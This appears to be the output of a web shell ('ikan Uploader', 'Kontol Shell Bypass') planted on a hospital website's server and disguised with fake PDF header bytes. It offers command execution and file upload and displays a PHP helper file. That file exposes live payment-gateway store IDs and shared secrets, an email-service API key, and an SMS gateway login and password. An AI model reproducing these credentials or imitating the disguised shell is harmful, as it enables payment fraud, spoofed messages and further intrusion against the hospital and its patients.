%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/application/helpers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/application/helpers/finservicici_helper.php
<?php
date_default_timezone_set('Asia/Kolkata');
$dateTime = date("Y:m:d-H:i:s");
error_reporting(0);
// Timezeone needs to be set

function getDateTime() {
	global $dateTime;
	$dateTime = date("Y:m:d-H:i:s");
	return $dateTime;
}
/*
Function that calculates the hash of the following parameters:
- Store Id
- Date/Time(see $dateTime above)
- chargetotal
- currency (numeric ISO value)
- shared secret
*/
function createHash($chargetotal, $currency) {
	// Please change the store Id to your individual Store ID
	//$storeId = "3344004055"; // Testing
	$storeId = "3387033294"; // Live
	// NOTE: Please DO NOT hardcode the secret in that script. For example read it from a database.
	//$sharedSecret = "rrQ68|x*yQ"; // Testing
	$sharedSecret = "Vc28hkWxGa"; // Live
	$stringToHash = $storeId . getDateTime() . $chargetotal . $currency . $sharedSecret;
	$ascii = bin2hex($stringToHash);
	return hash("sha256", $ascii);
}


/*
Function that calculates the hash of the following parameters:
- Store Id
- Date/Time(see $dateTime above)
- chargetotal
- currency (numeric ISO value)
- shared secret
*/
function createTestHash($chargetotal, $currency) {
	// Please change the store Id to your individual Store ID
	$storeId = "3344004055"; // Testing
	// Test Redirection Url
	//https://test.ipg-online.com/connect/gateway/processing
	// NOTE: Please DO NOT hardcode the secret in that script. For example read it from a database.
	$sharedSecret = "rrQ68|x*yQ"; // Testing
	$stringToHash = $storeId . getDateTime() . $chargetotal . $currency . $sharedSecret;
	$ascii = bin2hex($stringToHash);
	return hash("sha256", $ascii);
}

function send_conf_email($to, $subject, $message, $attachments=array(), $smtp=TRUE, $smtpdtl=array()){
	if(ENVIRONMENT=='development'){
		//return TRUE;
    }
    send_email_pepipost($to, $subject, $message);
    return 1; 
}


function send_email_pepipost($to_emails, $subject, $message, $fromname='', $fromemail='', $replyto=''){
	$fromname=$fromname?$fromname:'Sharda Hospital';
	$fromemail=$fromemail?$fromemail:'enquiry@shardahospital.org'; //'info@shardauniversity.com';
    $replyto=$replyto?$replyto:'enquiry@shardahospital.org'; //'info@shardauniversity.com';
	
    if(!$to_emails){
        return;
    }
    if(is_string($to_emails)){
        $to_emails=explode(",", $to_emails);
    }
    foreach($to_emails as $to){
        $d=array (
            'personalizations' => array (0 => array ('recipient' => $to)),
            'from' => array ('fromEmail' => $fromemail, 'fromName' => $fromname),
            'replyToId'=>$replyto,
            'subject' => $subject,
            'content' => $message,
        );
        $email_jason_data=json_encode($d);

        $curl = curl_init();

        curl_setopt_array($curl, array(
        CURLOPT_URL => "https://api.pepipost.com/v2/sendEmail",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_ENCODING => "",
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_CUSTOMREQUEST => "POST",
        CURLOPT_POSTFIELDS => $email_jason_data,
        CURLOPT_HTTPHEADER => array(
            //"api_key: c77184012dcf9bd5cd1886b4e0a2bb89",
            "api_key: aab3f77715e90569034f0c6e5d912714",
            "content-type: application/json"
        ),
        ));

        $response = curl_exec($curl);
        $err = curl_error($curl);

        curl_close($curl);

        if ($err) {
            //echo "cURL Error #:" . $err;
        } else {
            //echo $response;
        }
    }
}


function send_sms_alert($mob, $msg=''){
	if(ENVIRONMENT=='development'){
		//return TRUE;
	}
	//$mob='91'.$mob;
	$msg=urlencode($msg);
	$ch = curl_init();
	curl_setopt($ch,CURLOPT_URL,  "http://bulkpush.mytoday.com/BulkSms/SingleMsgApi");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, "feedid=363901&username=9015129267&password=wgtpt&To=".$mob."&Text=".$msg."&time=&senderid=shardacom_trans");
	$buffer = curl_exec($ch);
	//$err = curl_error($ch);
	//echo $err;
	curl_close($ch);
}

?>


Kontol Shell Bypass